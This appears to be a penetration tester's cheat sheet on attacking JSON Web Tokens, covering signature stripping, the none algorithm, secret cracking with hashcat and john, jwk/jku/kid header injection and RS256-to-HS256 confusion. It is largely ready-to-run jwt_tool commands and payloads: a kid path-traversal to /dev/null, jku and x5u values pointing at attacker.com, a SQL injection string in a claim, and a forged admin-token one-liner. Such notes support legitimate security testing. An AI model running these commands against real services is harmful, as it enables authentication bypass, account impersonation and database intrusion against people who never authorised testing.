JWT attacks

JWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user

What are JWTs?

JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information ("claims") about users as part of authentication, session handling, and access control mechanisms. Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself. This makes JWTs a popular choice for highly distributed websites where users need to interact seamlessly with multiple back-end servers.

# Tools
jwt_tool
Burp extension : JWT Editor

JWT Attacks

JWT authentication bypass via unverified signature : change the payload

Accepting tokens with no signature

"alg": "none" and remove the signature from the JWT, but remember to leave the trailing dot after the payload.

Brute-forcing secret keys

signing symmetric algorithms, such as HS256 (HMAC + SHA-256)

wordliste : https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list

JWT header parameter injections

jwk (JSON Web Key) - Provides an embedded JSON object representing the key.

jku (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.

kid (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching kid parameter

{ 
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG", 
"typ": "JWT", 
"alg": "RS256", 
"jwk": { 
    "kty": "RSA", 
    "e": "AQAB", 
    "kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG", 
    "n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m" 
    } 
}

Injecting self-signed JWTs via the jwk parameter

1.With the extension loaded, in Burp's main tab bar, go to the JWT Editor Keys tab.

2.Generate a new RSA key.

3.Send a request containing a JWT to Burp Repeater.

4.In the message editor, switch to the extension-generated JSON Web Token tab and modify the token's payload however you like.

5.Click Attack, then select Embedded JWK. When prompted, select your newly generated RSA key. 6.Send the request to test how the server responds.

Injecting self-signed JWTs via the jku parameter

some servers let you use the jku (JWK Set URL) header parameter to reference a JWK Set containing the key. When verifying the signature, the server fetches the relevant key from this URL.

Modify and sign the JWT

/.well-known/jwks.json

/jwks.json

Injecting self-signed JWTs via the kid parameter

If this parameter is also vulnerable to directory traversal, an attacker could potentially force the server to use an arbitrary file from its filesystem as the verification

key. { "kid": "../../../../../../../../../../dev/null", "typ": "JWT", "alg": "HS256", "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc" }

Algorithm confusion attacks

1.Obtain the server's public key

2.Convert the public key to a suitable format

3.Create a malicious JWT with a modified payload and the alg header set to HS256.

4.Sign the token with HS256, using the public key as the secret.

docker run --rm -it portswigger/sig2n

Tools

# https://github.com/ticarpi/jwt_tool
# https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology

# https://github.com/hahwul/jwt-hack
# https://github.com/mazen160/jwt-pwn
# https://github.com/mBouamama/MyJWT
# https://github.com/DontPanicO/jwtXploiter

# Test all common attacks
python3 jwt_tool.py -t https://url_that_needs_jwt/ -rh "Authorization: Bearer JWT" -M at -cv "Welcome user!"

# Hashcat
# dictionary attacks 
hashcat -a 0 -m 16500 jwt.txt passlist.txt
# rule-based attack  
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
# brute-force attack
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6


# Crack
pip install PyJWT
# https://github.com/Sjord/jwtcrack
# https://raw.githubusercontent.com/Sjord/jwtcrack/master/jwt2john.py
jwt2john.py JWT
./john /tmp/token.txt --wordlist=wordlist.txt

# Wordlist generator crack tokens:
# https://github.com/dariusztytko/token-reverser

# RS256 to HS256
openssl s_client -connect www.google.com:443 | openssl x509 -pubkey -noout > public.pem
cat public.pem | xxd -p | tr -d "\\n" > hex.txt
# Sign JWT with hex.txt 

# Generate JWT from terminal
pip install pyjwt
python3 -c 'import jwt;print(jwt.encode({"role": "admin"},"SECRET",algorithm="HS256").decode("UTF-8"))'

General info

1. Leak Sensitive Info
2. Send without signature
3. Change algorythm r to h
4. Crack the secret h256
5. KID manipulation

eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjE1ODQ2NTk0MDAsInVzZXJuYW1lIjoidGVtcHVzZXI2OSIsInJvbGVzIjpbIlJPTEVfRVhURVJOQUxfVVNFUiJdLCJhcHBDb2RlIjoiQU5UQVJJX0FQSSIsImlhdCI6MTU4NDU3MzAwMH0.AOHXCcMFqYFeDSYCEjeugT26RaZLzPldqNAQSlPNpKc2JvdTG9dr2ini4Z42dd5xTBab-PYBvlXIJetWXOX80A

https://trustfoundry.net/jwt-hacking-101/
https://hackernoon.com/can-timing-attack-be-a-practical-security-threat-on-jwt-signature-ba3c8340dea9
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a

- JKU & X5U Headers - JWK
    - Header injection
    - Open redirect



- Remember test JWT after session is closed

Attacks

# None algorithm
python3 jwt_tool.py <JWT> -X a

# From RS256 to HS256
python3 jwt_tool.py <JWT> -S hs256 -k public.pem

# Not checked signature
python3 jwt_tool.py <JWT> -I -pc name -pv admin

# Crack secret key
python3 jwt_tool.py <JWT> -C -d secrets.txt 

# Null kid
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

# Use source file as kid to verify signature
python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"

# jku manipulation for open redirect
python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"

# x5u manipulation for open redirect
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"

Payload

# SQLi
python3 jwt_tool.py <JWT> -I -pc name -pv "imparable' ORDER BY 1--" -S hs256 -k public.pem

# Manipulate other values to change expiration time or userID for example

Last updated